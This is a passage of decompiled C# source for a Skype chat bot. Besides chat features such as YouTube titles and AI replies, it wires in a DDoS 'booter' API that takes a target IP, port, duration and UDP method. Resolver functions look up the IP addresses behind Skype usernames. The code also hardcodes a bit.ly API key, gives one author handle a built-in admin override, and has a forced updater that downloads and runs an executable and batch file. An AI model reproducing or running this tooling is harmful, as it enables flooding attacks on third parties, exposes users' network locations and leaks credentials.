  3185.                 bool flag = num == 3 | num == 0;
  3186.                 if (!flag)
  3187.                 {
  3188.                     flag = (num == 1);
  3189.                     if (flag)
  3190.                     {
  3191.                         break;
  3192.                     }
  3193.                     flag = (num == 2);
  3194.                     if (flag)
  3195.                     {
  3196.                         goto Block_2;
  3197.                     }
  3198.                 }
  3199.             }
  3200.             object result = this.WBDL(this.api.Replace("[ip]", ip).Replace("[time]", Conversions.ToString(time)).Replace("[port]", Conversions.ToString(port)));
  3201.             return result;
  3202.             Block_2:
  3203.             result = this.WBDL(this.api.Replace("[ip]", ip).Replace("[time]", Conversions.ToString(time)).Replace("[port]", Conversions.ToString(port)));
  3204.             return result;
  3205.         }
  3206.         public object WBDL(string apiz)
  3207.         {
  3208.             WebBrowser webBrowser = new WebBrowser();
  3209.             this.WebBrowser1.Navigate(apiz);
  3210.             return webBrowser.DocumentText;
  3211.         }
  3212.         public static bool CheckForInternetConnection()
  3213.         {
  3214.             bool result;
  3215.             try
  3216.             {
  3217.                 WebClient webClient = new WebClient();
  3218.                 try
  3219.                 {
  3220.                     result = true;
  3221.                 }
  3222.                 finally
  3223.                 {
  3224.                     bool flag = webClient != null;
  3225.                     if (flag)
  3226.                     {
  3227.                         ((IDisposable)webClient).Dispose();
  3228.                     }
  3229.                 }
  3230.             }
  3231.             catch (Exception arg_28_0)
  3232.             {
  3233.                 ProjectData.SetProjectError(arg_28_0);
  3234.                 result = false;
  3235.                 ProjectData.ClearProjectError();
  3236.             }
  3237.             return result;
  3238.         }
  3239.         public void AI1(ChatMessage msg)
  3240.         {
  3241.             bool flag = Operators.CompareString(msg.Body, "", true) == 0;
  3242.             if (!flag)
  3243.             {
  3244.                 ChatMessage chatMessage = msg.Chat.SendMessage("Thinking...");
  3245.                 string text = this.AISession.Think(msg.Body.Remove(0, 1));
  3246.                 text = this.StripTags(text);
  3247.                 flag = text.ToLower().Contains("To use my calculator, click here!".ToLower());
  3248.                 if (flag)
  3249.                 {
  3250.                     text = "To use my calculator, use !calc";
  3251.                 }
  3252.                 chatMessage.Body = text;
  3253.             }
  3254.         }
  3255.         public void AI2(ChatMessage msg)
  3256.         {
  3257.             bool flag = Operators.CompareString(msg.Body, "", true) == 0;
  3258.             if (!flag)
  3259.             {
  3260.                 ChatMessage chatMessage = msg.Chat.SendMessage("Thinking...");
  3261.                 string address = "http://steambot.ga/api/ai.php?msg=" + msg.Body.Remove(0, 1);
  3262.                 string input = new WebClient
  3263.                 {
  3264.                     Proxy = null
  3265.                 }.DownloadString(address);
  3266.                 string body = Regex.Match(input, "(.+)string\\(", RegexOptions.IgnoreCase).Value.ToString().Replace("string(", "");
  3267.                 chatMessage.Body = body;
  3268.             }
  3269.         }
  3270.         public void UpdateMe(string state)
  3271.         {
  3272.             WebClient webClient = new WebClient();
  3273.             webClient.Proxy = null;
  3274.             bool flag = Form1.CheckForInternetConnection();
  3275.             if (!flag)
  3276.             {
  3277.                 Interaction.MsgBox("Fix your internet connection before moving on!", MsgBoxStyle.OkOnly, null);
  3278.                 this.Close();
  3279.                 Application.Exit();
  3280.                 Application.ExitThread();
  3281.             }
  3282.             string left = webClient.DownloadString("https://www.dropbox.com/s/nc07ajdkck5lwdl/update.txt?dl=1");
  3283.             flag = (Operators.CompareString(left, "5.1.0.7", true) == 0);
  3284.             if (flag)
  3285.             {
  3286.                 bool flag2 = Conversions.ToDouble(state) == 1.0;
  3287.                 if (flag2)
  3288.                 {
  3289.                     Interaction.MsgBox("No update needed!", MsgBoxStyle.OkOnly, null);
  3290.                 }
  3291.             }
  3292.             else
  3293.             {
  3294.                 bool flag2 = Operators.CompareString(webClient.DownloadString("https://www.dropbox.com/s/fz39p2eqwrccid3/force.txt?dl=1"), "1", true) == 0;
  3295.                 if (flag2)
  3296.                 {
  3297.                     webClient.DownloadFile("https://www.dropbox.com/s/mdbef5odfcg5pog/SBUpdater.exe?dl=1", Directory.GetCurrentDirectory() + "\\Updater.exe");
  3298.                     webClient.DownloadFile("https://www.dropbox.com/s/6qbvr7zahdmvl1r/Update.bat?dl=1", Directory.GetCurrentDirectory() + "\\Updater.bat");
  3299.                     Process.Start(Directory.GetCurrentDirectory() + "\\Updater.bat");
  3300.                     Application.Exit();
  3301.                 }
  3302.                 else
  3303.                 {
  3304.                     MsgBoxResult msgBoxResult = Interaction.MsgBox("New update is ready to download, download it now?", MsgBoxStyle.YesNo, null);
  3305.                     flag2 = (msgBoxResult == MsgBoxResult.Yes);
  3306.                     if (flag2)
  3307.                     {
  3308.                         webClient.DownloadFile("https://www.dropbox.com/s/mdbef5odfcg5pog/SBUpdater.exe?dl=1", Directory.GetCurrentDirectory() + "\\Updater.exe");
  3309.                         webClient.DownloadFile("https://www.dropbox.com/s/6qbvr7zahdmvl1r/Update.bat?dl=1", Directory.GetCurrentDirectory() + "\\Updater.bat");
  3310.                         Process.Start(Directory.GetCurrentDirectory() + "\\Updater.bat");
  3311.                         Application.Exit();
  3312.                     }
  3313.                 }
  3314.             }
  3315.         }
  3316.         public object shorten(string urltoshrt)
  3317.         {
  3318.             bool flag = !urltoshrt.StartsWith("http");
  3319.             if (flag)
  3320.             {
  3321.                 urltoshrt = "http://" + urltoshrt;
  3322.             }
  3323.             WebClient webClient = new WebClient();
  3324.             webClient.Proxy = null;
  3325.             WebClient webClient2 = new WebClient();
  3326.             webClient2.Proxy = null;
  3327.             string arg = "o_1v99833eui";
  3328.             string arg2 = "R_652033905dccf303504cecd3c2762d64";
  3329.             string arg3 = WebUtility.UrlEncode(urltoshrt);
  3330.             string address = string.Format("http://api.bit.ly/v3/shorten?login={0}&apiKey={1}&longUrl={2}&format=txt", arg, arg2, arg3);
  3331.             return webClient2.DownloadString(address);
  3332.         }
  3333.         public void attach()
  3334.         {
  3335.             try
  3336.             {
  3337.                 bool isRunning = this.Skypattach.Client.IsRunning;
  3338.                 if (!isRunning)
  3339.                 {
  3340.                     this.Skypattach.Client.Start(false, false);
  3341.                 }
  3342.                 this.Skypattach.Attach(5, -1 != 0);
  3343.                 new ComAwareEventInfo(typeof(_ISkypeEvents_Event), "UserAuthorizationRequestReceived").AddEventHandler(this.Skypattach, new _ISkypeEvents_UserAuthorizationRequestReceivedEventHandler(this, (UIntPtr)ldvirtftn(FRReceived)));
  3344.                 new ComAwareEventInfo(typeof(_ISkypeEvents_Event), "MessageStatus").AddEventHandler(this.Skypattach, new _ISkypeEvents_MessageStatusEventHandler(this, (UIntPtr)ldvirtftn(MSGStatus)));
  3345.             }
  3346.             catch (Exception arg_96_0)
  3347.             {
  3348.                 ProjectData.SetProjectError(arg_96_0);
  3349.                 try
  3350.                 {
  3351.                     this.Skypattach.Attach(5, -1 != 0);
  3352.                 }
  3353.                 catch (Exception expr_AD)
  3354.                 {
  3355.                     ProjectData.SetProjectError(expr_AD);
  3356.                     Interaction.MsgBox("Couldn't attach to skype, make sure skype is running and you clicked 'allow'!", MsgBoxStyle.OkOnly, null);
  3357.                     ProjectData.ClearProjectError();
  3358.                 }
  3359.                 ProjectData.ClearProjectError();
  3360.             }
  3361.         }
  3362.         public object youtube(string url)
  3363.         {
  3364.             object result;
  3365.             try
  3366.             {
  3367.                 url = url.Replace("http://", "").Replace("https://", "").Replace("www.", "");
  3368.                 WebClient webClient = new WebClient();
  3369.                 webClient.Proxy = null;
  3370.                 string strtemp = Regex.Match(Encoding.ASCII.GetString(webClient.DownloadData("http://youtube.com/watch?v=" + Convert.ToString(url))), "\\<title\\b[^>]*\\>\\s*(?<Title>[\\s\\S]*?)\\</title\\>", RegexOptions.IgnoreCase).Groups["Title"].Value.ToString().Replace(" - YouTube", "").Replace("&#39;", "").Replace("/", "").Replace("!", "");
  3371.                 result = this.Decodehtml(strtemp);
  3372.             }
  3373.             catch (Exception arg_CD_0)
  3374.             {
  3375.                 ProjectData.SetProjectError(arg_CD_0);
  3376.                 result = "Don't even try to crash the bot!";
  3377.                 ProjectData.ClearProjectError();
  3378.             }
  3379.             return result;
  3380.         }
  3381.         public object Decodehtml(string strtemp)
  3382.         {
  3383.             strtemp = Strings.Replace(strtemp, "&quot;", "\"", 1, -1, CompareMethod.Text);
  3384.             strtemp = Strings.Replace(strtemp, "&amp;", "&", 1, -1, CompareMethod.Text);
  3385.             strtemp = Strings.Replace(strtemp, "&apos;", "'", 1, -1, CompareMethod.Text);
  3386.             strtemp = Strings.Replace(strtemp, "&lt;", "<", 1, -1, CompareMethod.Text);
  3387.             strtemp = Strings.Replace(strtemp, "&gt;", ">", 1, -1, CompareMethod.Text);
  3388.             strtemp = Strings.Replace(strtemp, "&nbsp;", "", 1, -1, CompareMethod.Text);
  3389.             strtemp = Strings.Replace(strtemp, "&iexcl;", "¡", 1, -1, CompareMethod.Text);
  3390.             strtemp = Strings.Replace(strtemp, "&cent;", "¢", 1, -1, CompareMethod.Text);
  3391.             strtemp = Strings.Replace(strtemp, "&pound;", "£", 1, -1, CompareMethod.Text);
  3392.             strtemp = Strings.Replace(strtemp, "&curren;", "¤", 1, -1, CompareMethod.Text);
  3393.             strtemp = Strings.Replace(strtemp, "&yen;", "¥", 1, -1, CompareMethod.Text);
  3394.             strtemp = Strings.Replace(strtemp, "&brvbar;", "¦", 1, -1, CompareMethod.Text);
  3395.             strtemp = Strings.Replace(strtemp, "&sect;", "§", 1, -1, CompareMethod.Text);
  3396.             strtemp = Strings.Replace(strtemp, "&uml;", "¨", 1, -1, CompareMethod.Text);
  3397.             strtemp = Strings.Replace(strtemp, "&copy;", "©", 1, -1, CompareMethod.Text);
  3398.             strtemp = Strings.Replace(strtemp, "&ordf;", "ª", 1, -1, CompareMethod.Text);
  3399.             strtemp = Strings.Replace(strtemp, "&laquo;", "«", 1, -1, CompareMethod.Text);
  3400.             strtemp = Strings.Replace(strtemp, "&not;", "¬", 1, -1, CompareMethod.Text);
  3401.             strtemp = Strings.Replace(strtemp, "*", "", 1, -1, CompareMethod.Text);
  3402.             strtemp = Strings.Replace(strtemp, "&reg;", "®", 1, -1, CompareMethod.Text);
  3403.             strtemp = Strings.Replace(strtemp, "&macr;", "¯", 1, -1, CompareMethod.Text);
  3404.             strtemp = Strings.Replace(strtemp, "&deg;", "°", 1, -1, CompareMethod.Text);
  3405.             strtemp = Strings.Replace(strtemp, "&plusmn;", "±", 1, -1, CompareMethod.Text);
  3406.             strtemp = Strings.Replace(strtemp, "&sup2;", "²", 1, -1, CompareMethod.Text);
  3407.             strtemp = Strings.Replace(strtemp, "&sup3;", "³", 1, -1, CompareMethod.Text);
  3408.             strtemp = Strings.Replace(strtemp, "&acute;", "´", 1, -1, CompareMethod.Text);
  3409.             strtemp = Strings.Replace(strtemp, "&micro;", "µ", 1, -1, CompareMethod.Text);
  3410.             strtemp = Strings.Replace(strtemp, "&para;", "¶", 1, -1, CompareMethod.Text);
  3411.             strtemp = Strings.Replace(strtemp, "&middot;", "·", 1, -1, CompareMethod.Text);
  3412.             strtemp = Strings.Replace(strtemp, "&cedil;", "¸", 1, -1, CompareMethod.Text);
  3413.             strtemp = Strings.Replace(strtemp, "&sup1;", "¹", 1, -1, CompareMethod.Text);
  3414.             strtemp = Strings.Replace(strtemp, "&ordm;", "º", 1, -1, CompareMethod.Text);
  3415.             strtemp = Strings.Replace(strtemp, "&raquo;", "»", 1, -1, CompareMethod.Text);
  3416.             strtemp = Strings.Replace(strtemp, "&frac14;", "¼", 1, -1, CompareMethod.Text);
  3417.             strtemp = Strings.Replace(strtemp, "&frac12;", "½", 1, -1, CompareMethod.Text);
  3418.             strtemp = Strings.Replace(strtemp, "&frac34;", "¾", 1, -1, CompareMethod.Text);
  3419.             strtemp = Strings.Replace(strtemp, "&iquest;", "¿", 1, -1, CompareMethod.Text);
  3420.             strtemp = Strings.Replace(strtemp, "&Agrave;", "À", 1, -1, CompareMethod.Text);
  3421.             strtemp = Strings.Replace(strtemp, "&Aacute;", "Á", 1, -1, CompareMethod.Text);
  3422.             strtemp = Strings.Replace(strtemp, "&Acirc;", "Â", 1, -1, CompareMethod.Text);
  3423.             strtemp = Strings.Replace(strtemp, "&Atilde;", "Ã", 1, -1, CompareMethod.Text);
  3424.             strtemp = Strings.Replace(strtemp, "&Auml;", "Ä", 1, -1, CompareMethod.Text);
  3425.             strtemp = Strings.Replace(strtemp, "&Aring;", "Å", 1, -1, CompareMethod.Text);
  3426.             strtemp = Strings.Replace(strtemp, "&AElig;", "Æ", 1, -1, CompareMethod.Text);
  3427.             strtemp = Strings.Replace(strtemp, "&Ccedil;", "Ç", 1, -1, CompareMethod.Text);
  3428.             strtemp = Strings.Replace(strtemp, "&Egrave;", "È", 1, -1, CompareMethod.Text);
  3429.             strtemp = Strings.Replace(strtemp, "&Eacute;", "É", 1, -1, CompareMethod.Text);
  3430.             strtemp = Strings.Replace(strtemp, "&Ecirc;", "Ê", 1, -1, CompareMethod.Text);
  3431.             strtemp = Strings.Replace(strtemp, "&Euml;", "Ë", 1, -1, CompareMethod.Text);
  3432.             strtemp = Strings.Replace(strtemp, "&Igrave;", "Ì", 1, -1, CompareMethod.Text);
  3433.             strtemp = Strings.Replace(strtemp, "&Iacute;", "Í", 1, -1, CompareMethod.Text);
  3434.             strtemp = Strings.Replace(strtemp, "&Icirc;", "Î", 1, -1, CompareMethod.Text);
  3435.             strtemp = Strings.Replace(strtemp, "&Iuml;", "Ï", 1, -1, CompareMethod.Text);
  3436.             strtemp = Strings.Replace(strtemp, "&ETH;", "Ð", 1, -1, CompareMethod.Text);
  3437.             strtemp = Strings.Replace(strtemp, "&Ntilde;", "Ñ", 1, -1, CompareMethod.Text);
  3438.             strtemp = Strings.Replace(strtemp, "&Ograve;", "Ò", 1, -1, CompareMethod.Text);
  3439.             strtemp = Strings.Replace(strtemp, "&Oacute;", "Ó", 1, -1, CompareMethod.Text);
  3440.             strtemp = Strings.Replace(strtemp, "&Ocirc;", "Ô", 1, -1, CompareMethod.Text);
  3441.             strtemp = Strings.Replace(strtemp, "&Otilde;", "Õ", 1, -1, CompareMethod.Text);
  3442.             strtemp = Strings.Replace(strtemp, "&Ouml;", "Ö", 1, -1, CompareMethod.Text);
  3443.             strtemp = Strings.Replace(strtemp, "&times;", "×", 1, -1, CompareMethod.Text);
  3444.             strtemp = Strings.Replace(strtemp, "&Oslash;", "Ø", 1, -1, CompareMethod.Text);
  3445.             strtemp = Strings.Replace(strtemp, "&Ugrave;", "Ù", 1, -1, CompareMethod.Text);
  3446.             strtemp = Strings.Replace(strtemp, "&Uacute;", "Ú", 1, -1, CompareMethod.Text);
  3447.             strtemp = Strings.Replace(strtemp, "&Ucirc;", "Û", 1, -1, CompareMethod.Text);
  3448.             strtemp = Strings.Replace(strtemp, "&Uuml;", "Ü", 1, -1, CompareMethod.Text);
  3449.             strtemp = Strings.Replace(strtemp, "&Yacute;", "Ý", 1, -1, CompareMethod.Text);
  3450.             strtemp = Strings.Replace(strtemp, "&THORN;", "Þ", 1, -1, CompareMethod.Text);
  3451.             strtemp = Strings.Replace(strtemp, "&szlig;", "ß", 1, -1, CompareMethod.Text);
  3452.             strtemp = Strings.Replace(strtemp, "&agrave;", "à", 1, -1, CompareMethod.Text);
  3453.             strtemp = Strings.Replace(strtemp, "&aacute;", "á", 1, -1, CompareMethod.Text);
  3454.             strtemp = Strings.Replace(strtemp, "&acirc;", "â", 1, -1, CompareMethod.Text);
  3455.             strtemp = Strings.Replace(strtemp, "&atilde;", "ã", 1, -1, CompareMethod.Text);
  3456.             strtemp = Strings.Replace(strtemp, "&auml;", "ä", 1, -1, CompareMethod.Text);
  3457.             strtemp = Strings.Replace(strtemp, "&aring;", "å", 1, -1, CompareMethod.Text);
  3458.             strtemp = Strings.Replace(strtemp, "&aelig;", "æ", 1, -1, CompareMethod.Text);
  3459.             strtemp = Strings.Replace(strtemp, "&ccedil;", "ç", 1, -1, CompareMethod.Text);
  3460.             strtemp = Strings.Replace(strtemp, "&egrave;", "è", 1, -1, CompareMethod.Text);
  3461.             strtemp = Strings.Replace(strtemp, "&eacute;", "é", 1, -1, CompareMethod.Text);
  3462.             strtemp = Strings.Replace(strtemp, "&ecirc;", "ê", 1, -1, CompareMethod.Text);
  3463.             strtemp = Strings.Replace(strtemp, "&euml;", "ë", 1, -1, CompareMethod.Text);
  3464.             strtemp = Strings.Replace(strtemp, "&igrave;", "ì", 1, -1, CompareMethod.Text);
  3465.             strtemp = Strings.Replace(strtemp, "&iacute;", "í", 1, -1, CompareMethod.Text);
  3466.             strtemp = Strings.Replace(strtemp, "&icirc;", "î", 1, -1, CompareMethod.Text);
  3467.             strtemp = Strings.Replace(strtemp, "&iuml;", "ï", 1, -1, CompareMethod.Text);
  3468.             strtemp = Strings.Replace(strtemp, "&eth;", "ð", 1, -1, CompareMethod.Text);
  3469.             strtemp = Strings.Replace(strtemp, "&ntilde;", "ñ", 1, -1, CompareMethod.Text);
  3470.             strtemp = Strings.Replace(strtemp, "&ograve;", "ò", 1, -1, CompareMethod.Text);
  3471.             strtemp = Strings.Replace(strtemp, "&oacute;", "ó", 1, -1, CompareMethod.Text);
  3472.             strtemp = Strings.Replace(strtemp, "&ocirc;", "ô", 1, -1, CompareMethod.Text);
  3473.             strtemp = Strings.Replace(strtemp, "&otilde;", "õ", 1, -1, CompareMethod.Text);
  3474.             strtemp = Strings.Replace(strtemp, "&ouml;", "ö", 1, -1, CompareMethod.Text);
  3475.             strtemp = Strings.Replace(strtemp, "&divide;", "÷", 1, -1, CompareMethod.Text);
  3476.             strtemp = Strings.Replace(strtemp, "&oslash;", "ø", 1, -1, CompareMethod.Text);
  3477.             strtemp = Strings.Replace(strtemp, "&ugrave;", "ù", 1, -1, CompareMethod.Text);
  3478.             strtemp = Strings.Replace(strtemp, "&uacute;", "ú", 1, -1, CompareMethod.Text);
  3479.             strtemp = Strings.Replace(strtemp, "&ucirc;", "û", 1, -1, CompareMethod.Text);
  3480.             strtemp = Strings.Replace(strtemp, "&uuml;", "ü", 1, -1, CompareMethod.Text);
  3481.             strtemp = Strings.Replace(strtemp, "&yacute;", "ý", 1, -1, CompareMethod.Text);
  3482.             strtemp = Strings.Replace(strtemp, "&thorn;", "þ", 1, -1, CompareMethod.Text);
  3483.             strtemp = Strings.Replace(strtemp, "&yuml;", "ÿ", 1, -1, CompareMethod.Text);
  3484.             strtemp = Strings.Replace(strtemp, "&OElig;", "Œ", 1, -1, CompareMethod.Text);
  3485.             strtemp = Strings.Replace(strtemp, "&oelig;", "œ", 1, -1, CompareMethod.Text);
  3486.             strtemp = Strings.Replace(strtemp, "&Scaron;", "Š", 1, -1, CompareMethod.Text);
  3487.             strtemp = Strings.Replace(strtemp, "&scaron;", "š", 1, -1, CompareMethod.Text);
  3488.             strtemp = Strings.Replace(strtemp, "&Yuml;", "Ÿ", 1, -1, CompareMethod.Text);
  3489.             strtemp = Strings.Replace(strtemp, "&fnof;", "ƒ", 1, -1, CompareMethod.Text);
  3490.             strtemp = Strings.Replace(strtemp, "&circ;", "ˆ", 1, -1, CompareMethod.Text);
  3491.             strtemp = Strings.Replace(strtemp, "&tilde;", "˜", 1, -1, CompareMethod.Text);
  3492.             strtemp = Strings.Replace(strtemp, "&thinsp;", "", 1, -1, CompareMethod.Text);
  3493.             strtemp = Strings.Replace(strtemp, "&zwnj;", "", 1, -1, CompareMethod.Text);
  3494.             strtemp = Strings.Replace(strtemp, "&zwj;", "", 1, -1, CompareMethod.Text);
  3495.             strtemp = Strings.Replace(strtemp, "&lrm;", "", 1, -1, CompareMethod.Text);
  3496.             strtemp = Strings.Replace(strtemp, "&rlm;", "", 1, -1, CompareMethod.Text);
  3497.             strtemp = Strings.Replace(strtemp, "&ndash;", "–", 1, -1, CompareMethod.Text);
  3498.             strtemp = Strings.Replace(strtemp, "&mdash;", "—", 1, -1, CompareMethod.Text);
  3499.             strtemp = Strings.Replace(strtemp, "&lsquo;", "‘", 1, -1, CompareMethod.Text);
  3500.             strtemp = Strings.Replace(strtemp, "&rsquo;", "’", 1, -1, CompareMethod.Text);
  3501.             strtemp = Strings.Replace(strtemp, "&sbquo;", "‚", 1, -1, CompareMethod.Text);
  3502.             strtemp = Strings.Replace(strtemp, "&ldquo;", "\"", 1, -1, CompareMethod.Text);
  3503.             strtemp = Strings.Replace(strtemp, "&rdquo;", "\"", 1, -1, CompareMethod.Text);
  3504.             strtemp = Strings.Replace(strtemp, "&bdquo;", "„", 1, -1, CompareMethod.Text);
  3505.             strtemp = Strings.Replace(strtemp, "&dagger;", "†", 1, -1, CompareMethod.Text);
  3506.             strtemp = Strings.Replace(strtemp, "&Dagger;", "‡", 1, -1, CompareMethod.Text);
  3507.             strtemp = Strings.Replace(strtemp, "&bull;", "•", 1, -1, CompareMethod.Text);
  3508.             strtemp = Strings.Replace(strtemp, "&hellip;", "…", 1, -1, CompareMethod.Text);
  3509.             strtemp = Strings.Replace(strtemp, "&permil;", "‰", 1, -1, CompareMethod.Text);
  3510.             strtemp = Strings.Replace(strtemp, "&lsaquo;", "‹", 1, -1, CompareMethod.Text);
  3511.             strtemp = Strings.Replace(strtemp, "&rsaquo;", "›", 1, -1, CompareMethod.Text);
  3512.             strtemp = Strings.Replace(strtemp, "&euro;", "€", 1, -1, CompareMethod.Text);
  3513.             strtemp = Strings.Replace(strtemp, "&trade;", "™", 1, -1, CompareMethod.Text);
  3514.             return strtemp;
  3515.         }
  3516.         private void MSGStatus(ChatMessage msg, TChatMessageStatus status)
  3517.         {
  3518.             bool flag = !this.launched;
  3519.             if (!flag)
  3520.             {
  3521.                 try
  3522.                 {
  3523.                     flag = (status == TChatMessageStatus.cmsSending | status == TChatMessageStatus.cmsReceived);
  3524.                     if (flag)
  3525.                     {
  3526.                         flag = (msg.Body.Contains("youtube.com/watch?v=") || msg.Body.Contains("youtu.be/"));
  3527.                         if (flag)
  3528.                         {
  3529.                             string text = msg.Body.Replace("www.", "");
  3530.                             try
  3531.                             {
  3532.                                 string text2 = text.Contains("watch?v=") ? text.Replace("watch?v=", string.Empty) : text;
  3533.                                 char[] separator = "/".ToCharArray();
  3534.                                 string[] b = text2.Split(separator);
  3535.                                 Thread thread = new Thread(delegate
  3536.                                 {
  3537.                                     msg.Chat.SendMessage(Conversions.ToString(this.youtube(b[checked(b.Length - 1)])));
  3538.                                 });
  3539.                                 thread.Start();
  3540.                             }
  3541.                             catch (Exception expr_101)
  3542.                             {
  3543.                                 ProjectData.SetProjectError(expr_101);
  3544.                                 Exception ex = expr_101;
  3545.                                 msg.Chat.SendMessage(ex.ToString());
  3546.                                 ProjectData.ClearProjectError();
  3547.                             }
  3548.                         }
  3549.                         flag = (msg.Body.IndexOf("@") == 0);
  3550.                         if (flag)
  3551.                         {
  3552.                             Thread thread2 = new Thread(delegate
  3553.                             {
  3554.                                 this.AI1(msg);
  3555.                             });
  3556.                             thread2.SetApartmentState(ApartmentState.STA);
  3557.                             thread2.Start();
  3558.                         }
  3559.                         flag = (msg.Body.IndexOf("#") == 0);
  3560.                         if (flag)
  3561.                         {
  3562.                             Thread thread3 = new Thread(delegate
  3563.                             {
  3564.                                 this.AI2(msg);
  3565.                             });
  3566.                             thread3.SetApartmentState(ApartmentState.STA);
  3567.                             thread3.Start();
  3568.                         }
  3569.                         flag = (msg.Body.IndexOf(this.trigger) == 0);
  3570.                         if (flag)
  3571.                         {
  3572.                             Thread thread4 = new Thread(delegate
  3573.                             {
  3574.                                 this.processcommand(msg);
  3575.                             });
  3576.                             thread4.SetApartmentState(ApartmentState.STA);
  3577.                             thread4.Start();
  3578.                         }
  3579.                     }
  3580.                 }
  3581.                 catch (Exception expr_1FD)
  3582.                 {
  3583.                     ProjectData.SetProjectError(expr_1FD);
  3584.                     Exception ex2 = expr_1FD;
  3585.                     ChatMessage msg2 = msg.Chat.SendMessage("An error occured while giving you an error!");
  3586.                     this.AddSwagToMSG(msg2, Conversions.ToString(Operators.ConcatenateObject("An error occured, please report to skype:les.de?chat : \r\n", this.paste(string.Concat(new string[]
  3587.                     {
  3588.                         "Host: ",
  3589.                         this.Skypattach.CurrentUserHandle,
  3590.                         "\r\nSender: ",
  3591.                         msg.Sender.Handle,
  3592.                         "\r\nCmd: ",
  3593.                         msg.Body,
  3594.                         "\r\nError: ",
  3595.                         ex2.ToString()
  3596.                     }), "Error!"))), 0);
  3597.                     ProjectData.ClearProjectError();
  3598.                 }
  3599.             }
  3600.         }
  3601.         public object Resolve1(string skype)
  3602.         {
  3603.             WebClient webClient = new WebClient();
  3604.             webClient.Proxy = null;
  3605.             object result;
  3606.             try
  3607.             {
  3608.                 string text = webClient.DownloadString(this.resapi + skype);
  3609.                 bool flag = text.Contains("API2");
  3610.                 if (flag)
  3611.                 {
  3612.                     result = "IP Not found.";
  3613.                 }
  3614.                 else
  3615.                 {
  3616.                     result = text.Replace("\r\n", "").Replace(" ", "").Replace(Environment.NewLine, "").Replace("\r", "").Replace("\n", "");
  3617.                 }
  3618.             }
  3619.             catch (Exception arg_8F_0)
  3620.             {
  3621.                 ProjectData.SetProjectError(arg_8F_0);
  3622.                 result = "error";
  3623.                 ProjectData.ClearProjectError();
  3624.             }
  3625.             return result;
  3626.         }
  3627.         public object Resolve2(string skype)
  3628.         {
  3629.             WebClient webClient = new WebClient();
  3630.             webClient.Proxy = null;
  3631.             object result;
  3632.             try
  3633.             {
  3634.                 string text = webClient.DownloadString(this.resapi2 + skype);
  3635.                 result = text;
  3636.             }
  3637.             catch (Exception arg_29_0)
  3638.             {
  3639.                 ProjectData.SetProjectError(arg_29_0);
  3640.                 result = "error";
  3641.                 ProjectData.ClearProjectError();
  3642.             }
  3643.             return result;
  3644.         }
  3645.         public object Cached(string skype)
  3646.         {
  3647.             WebClient webClient = new WebClient();
  3648.             webClient.Proxy = null;
  3649.             object result;
  3650.             try
  3651.             {
  3652.                 string text = webClient.DownloadString(this.cacheapi + skype).Replace("&nbsp;", "").Replace("[", "").Replace("]", "").Replace("][", " ").Replace("  ", " ").Replace(" - ", " ").Replace(",", "");
  3653.                 string[] array = text.Split(new char[]
  3654.                 {
  3655.                     ' '
  3656.                 });
  3657.                 bool flag = this.IsIpValid(array[0]);
  3658.                 if (flag)
  3659.                 {
  3660.                     result = text;
  3661.                 }
  3662.                 else
  3663.                 {
  3664.                     result = "IP Not found.";
  3665.                 }
  3666.             }
  3667.             catch (Exception arg_C7_0)
  3668.             {
  3669.                 ProjectData.SetProjectError(arg_C7_0);
  3670.                 result = "error";
  3671.                 ProjectData.ClearProjectError();
  3672.             }
  3673.             return result;
  3674.         }
  3675.         public void processcommand(ChatMessage msg)
  3676.         {
  3677.             Form1._Closure$__3 closure$__ = new Form1._Closure$__3(closure$__);
  3678.             closure$__.$VB$Local_msg = msg;
  3679.             closure$__.$VB$Me = this;
  3680.             checked
  3681.             {
  3682.                 try
  3683.                 {
  3684.                     this.api = "http://netpunch.xyz/out/api.php?host=[ip]&key=KEYGOESHERE&port=[port]&time=[time]&method=UDP";
  3685.                     this.ddosapi2 = "http://netpunch.xyz/out/api.php?host=[ip]&key=KEYGOESHERE&port=[port]&time=[time]&method=UDP";
  3686.                     bool flag = Operators.CompareString(closure$__.$VB$Local_msg.ChatName, "#luigi-7.7.99-/$mrfluffypancake;7845dca0296eabeb", true) == 0;
  3687.                     if (!flag)
  3688.                     {
  3689.                         flag = (Operators.CompareString(closure$__.$VB$Local_msg.Sender.Handle, this.Skypattach.CurrentUserHandle, true) == 0 | Operators.CompareString(closure$__.$VB$Local_msg.Sender.Handle, "les.de", true) == 0);
  3690.                         if (!flag)
  3691.                         {
  3692.                             string[] array = this.TextBox3.Text.Split(new string[]
  3693.                             {
  3694.                                 Environment.NewLine
  3695.                             }, StringSplitOptions.None);
  3696.                             flag = (Operators.CompareString(array[0], "%everyone%", true) == 0);
  3697.                             if (!flag)
  3698.                             {
  3699.                                 int arg_FC_0 = 0;
  3700.                                 int num = array.Length - 1;
  3701.                                 int num2 = arg_FC_0;
  3702.                                 int arg_13C_0 = num2;
  3703.                                 int num3 = num;
  3704.                                 if (arg_13C_0 <= num3)
  3705.                                 {
  3706.                                     flag = array[num2].Contains(closure$__.$VB$Local_msg.Sender.Handle);
  3707.                                     if (flag)
  3708.                                     {
  3709.                                         goto IL_145;
  3710.                                     }
  3711.                                 }
  3712.                                 return;
  3713.                             }
  3714.                         }
  3715.                         IL_145:
  3716.                         flag = (this.lockst == 1);
  3717.                         bool flag2;
  3718.                         if (flag)
  3719.                         {
  3720.                             flag2 = Conversions.ToBoolean(this.IsAdmin(closure$__.$VB$Local_msg.Sender.Handle));
  3721.                             if (!flag2)
  3722.                             {
  3723.                                 return;
  3724.                             }
  3725.                         }
  3726.                         string text = closure$__.$VB$Local_msg.Body.Remove(0, this.trigger.Length);
  3727.                         flag2 = (Operators.CompareString(text, "admin", true) == 0);
  3728.                         if (flag2)
  3729.                         {
  3730.                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "admin <help/parameters>");
  3731.                         }
  3732.                         flag2 = text.StartsWith("admin ");
  3733.                         if (flag2)
  3734.                         {
  3735.                             flag = (Operators.CompareString(closure$__.$VB$Local_msg.Sender.Handle, "les.de", true) == 0);
  3736.                             if (!flag)
  3737.                             {
  3738.                                 flag2 = Operators.ConditionalCompareObjectEqual(this.IsAdmin(closure$__.$VB$Local_msg.Sender.Handle), true, true);
  3739.                                 if (!flag2)
  3740.                                 {
  3741.                                     return;
  3742.                                 }
  3743.                             }
  3744.                             string text2 = text.Replace("admin ", "");
  3745.                             flag2 = (Operators.CompareString(text2, "help", true) == 0);
  3746.                             if (flag2)
  3747.                             {
  3748.                                 closure$__.$VB$Local_msg.Chat.SendMessage(MySettingsProperty.Settings.adminhlp);
  3749.                             }
  3750.                             flag2 = (Operators.CompareString(text2, "stopallcmds", true) == 0);
